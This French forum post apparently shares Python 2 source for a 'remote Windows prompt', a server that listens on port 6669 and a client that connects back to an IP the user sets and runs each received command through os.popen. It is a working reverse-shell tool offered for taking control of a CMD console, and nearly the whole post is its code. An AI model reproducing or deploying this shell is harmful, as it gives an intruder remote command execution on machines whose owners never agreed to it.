Voila, ce petit script sert à prendre le contrôle d'une console CMD.EXE à distance.
Rien de bien méchant, je me suis donner beaucoup de mal pour le transfère de données mais au final sa peut servir :)
Source / Exemple :
##############################################
SERVEUR
##############################################
#!/usr/bin/python
# Remote Windows Prompt / Shell
# By NqrK
# Pr0ceed-Team
# SSTeam
# Code Python
# SERVER
import os
import sys
import socket
Host = ''
Port = 6669
error = "Error : Socket\n"
adrs = (Host, Port)
Buff = 64790
error = "Error: Socket"
SockServ = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
SockServ.bind(adrs)
SockServ.listen(5)
print "\n\a[*]Server Listenning on port ", Port, " [Waiting...].\n"
except socket.error:
print error
raw_input("Press Enter to Continue..")
connexion, adresse = SockServ.accept()
print "\n\a[*]New Connection ~ IP: %s, Port: %s\n" % (adresse[0], adresse[1])
while (1):
connexion.send("cmd")
cmd = raw_input("root@db ~ # ")
if cmd == "/disconnect":
connexion.send("close~cmd")
data = connexion.recv(Buff)
print ""
print data
break
elif cmd == "":
print "\nCommand Not Found...\n"
else:
connexion.send(cmd)
data = connexion.recv(Buff)
print ""
print data, "\n"
##############################################
CLIENT
##############################################
#!/usr/bin/python
# Remote Windows Prompt / Shell
# By NqrK
# Pr0ceed-Team
# SSTeam
# Code Python
# CLIENT
import os
import sys
import socket
import time
Host = '127.0.0.1' # Enter ur IP ADRESS
Port = 6669
adrs = (Host, Port)
Buff = 64790
error = "Error Socket"
SockClient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "Connection....Waiting...\n"
time.sleep(2)
SockClient.connect(adrs)
print "Connected !!!"
except socket.error:
print error
raw_input()
while (1):
data = SockClient.recv(Buff)
if data == "cmd":
Proc = SockClient.recv(Buff)
try:
if Proc == "close~cmd":
SockClient.send("\n[*]Remote Windows Prompt Disconnected..\n")
pass
else :
shell_exec = os.popen(Proc)
SockClient.send(shell_exec.read())
except:
SockClient.send("[*]Error Remote Shell...")
SockClient.close()
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.